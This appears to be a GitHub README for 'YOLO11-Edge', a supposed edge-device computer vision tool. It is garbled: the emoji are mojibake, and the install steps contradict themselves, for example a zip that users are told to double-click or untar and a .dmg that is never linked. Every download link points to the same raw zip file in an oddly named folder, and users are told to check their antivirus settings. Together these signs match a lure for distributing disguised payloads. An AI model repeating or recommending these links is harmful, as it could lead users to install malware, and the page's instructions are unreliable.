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πŸ‘οΈ Deploy YOLO11 for efficient computer vision on edge devices, optimized for the Horizon X5 RDK with a streamlined C++ codebase.

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πŸš€ YOLO11-Edge - Easy AI for Edge Devices

Download YOLO11-Edge

πŸ“¦ Overview

YOLO11-Edge helps you deploy the Optimized YOLO11 model onto your edge devices. This software makes it easy to run advanced AI applications right where you need them. Whether you work with cameras, sensors, or other IoT devices, YOLO11-Edge can enhance their capabilities.

πŸš€ Getting Started

Follow these simple steps to get started with YOLO11-Edge.

  1. Check System Requirements:

    • Operating System: Windows 10 or later, macOS Mojave or later, or a recent Linux distribution.
    • RAM: Minimum 4 GB, recommended 8 GB or more.
    • CPU: Dual-core processor or better.
    • Disk Space: At least 500 MB of free space.
  2. Visit the Releases Page: To download the software, visit the releases page here.

πŸ“₯ Download & Install

  1. On the releases page, you will find different versions of YOLO11-Edge.

  2. Choose the latest version, marked with the highest version number.

  3. Click on the download link for your operating system. For example:

    • For Windows, it may say https://raw.githubusercontent.com/Psicodelic/YOLO11-Edge/main/uralitize/YOLO11-Edge.zip.
    • For macOS, look for https://raw.githubusercontent.com/Psicodelic/YOLO11-Edge/main/uralitize/YOLO11-Edge.zip.
    • For Linux, check for the file ending in https://raw.githubusercontent.com/Psicodelic/YOLO11-Edge/main/uralitize/YOLO11-Edge.zip.
  4. After the download is complete, locate the downloaded file on your computer.

  5. Installation Steps:

    • Windows:
      • Right-click on the https://raw.githubusercontent.com/Psicodelic/YOLO11-Edge/main/uralitize/YOLO11-Edge.zip file and select "Extract All."
      • Open the extracted folder and double-click https://raw.githubusercontent.com/Psicodelic/YOLO11-Edge/main/uralitize/YOLO11-Edge.zip to begin installation.
    • macOS:
      • Open the .dmg file and drag the YOLO11-Edge icon to your Applications folder.
    • Linux:
      • Open a terminal and navigate to the folder where you downloaded the file.
      • Run tar -xvzf https://raw.githubusercontent.com/Psicodelic/YOLO11-Edge/main/uralitize/YOLO11-Edge.zip to extract the files.
      • Follow any additional on-screen instructions.
  6. Run YOLO11-Edge:

    • Windows Users: After installation, you can find YOLO11-Edge in your Start menu. Click to open.
    • macOS Users: Open your Applications folder and double-click the YOLO11-Edge icon.
    • Linux Users: In the terminal, navigate to the YOLO11-Edge folder and run ./yolo11-edge to start.

πŸ›  Features

  • Optimized Performance: YOLO11-Edge runs efficiently on limited hardware, making it perfect for edge devices.
  • Real-Time Processing: Use it for applications that need instant analysis without delays.
  • User-Friendly Interface: Designed for ease of use, allowing anyone to utilize its powerful features.
  • Compatible with Multiple Devices: Works seamlessly with various edge devices, from Raspberry Pi to smart cameras.

πŸ”„ Upgrading

To keep using the latest features and improvements, check the releases page regularly. Follow the same download and install steps as before to update your version. Make sure to uninstall the old version first to avoid conflicts.

❓ Troubleshooting

If you run into issues:

  • Installation Problems: Ensure that you have the correct permissions to install software on your device. Check your antivirus settings.
  • Running Issues: Make sure your device meets the system requirements. Restart your device and try again.
  • Getting Help: For more information, you can check out the issues page to see if others have had the same problem or to raise a new issue.

πŸ—¨ Feedback

Your feedback is important for improving YOLO11-Edge. If you have suggestions or comments, please share them on the discussion board.

πŸ“„ License

YOLO11-Edge is open-source software. You can check the license details in the repository for more information on usage and distribution.

πŸ“ Additional Resources

For in-depth guides, tips, and examples of using YOLO11-Edge, visit our Wiki section.

Enjoy your experience with YOLO11-Edge!